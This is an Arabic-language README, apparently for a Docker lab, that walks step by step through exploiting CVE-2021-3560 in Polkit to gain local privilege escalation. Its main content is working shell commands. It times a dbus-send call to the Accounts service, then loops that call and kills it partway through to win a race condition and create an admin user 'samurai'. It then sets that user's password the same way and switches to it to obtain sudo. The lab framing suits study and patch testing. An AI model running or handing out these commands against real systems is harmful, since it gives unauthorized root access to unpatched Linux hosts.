
استغلال قائم على Docker لـ CVE-2021-3560 (تصعيد امتيازات Polkit) مع تعليمات خطوة بخطوة لإنشاء مستخدم sudo عبر حالة سباق في dbus-send.
بقلم Mark, Qingchen Yu لبناء الحاوية مع
docker build -t <image tag of your choice> .
لتشغيل الحاوية
docker run -it <image tag name>
ابدأ بـ start.sh
قياس وقت التنفيذ: لاحظ الوقت 'الحقيقي' واحسب نصفه.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
إنشاء مستخدم بصلاحيات sudo: استبدل X.XXX بنصف الوقت 'الحقيقي' أعلاه لأننا نريد مقاطعة العملية في المنتصف سيتم تشغيل الأمر كحلقة من 10000 مرة قد تحتاج إلى تشغيل هذه الخطوة عدة مرات
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
التحقق من إنشاء المستخدم
id samurai
يجب أن يُظهر أن مستخدم samurai موجود ويُظهر صلاحياته. إذا لم يحدث ذلك، أعد تنفيذ الخطوة 2.
توليد هاش كلمة المرور: في هذه الحالة، ستكون كلمة المرور 'iamsamurai' لاحظ الهاش المُولّد.
openssl passwd -5 iamsamurai
تعيين كلمة المرور للمستخدم الجديد: استبدل X.XXX بمدة النوم (sleep) واستبدل Password Hash بالهاش من الخطوة 4. استبدل UUUU بمعرّف المستخدم الخاص بـ 'samurai'
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
التبديل إلى المستخدم الجديد باستخدام كلمة المرور التي أنشأتها في الخطوة 4.
su - samurai
الآن يجب أن تكون قادراً على استخدام 'sudo مع هذا المستخدم'.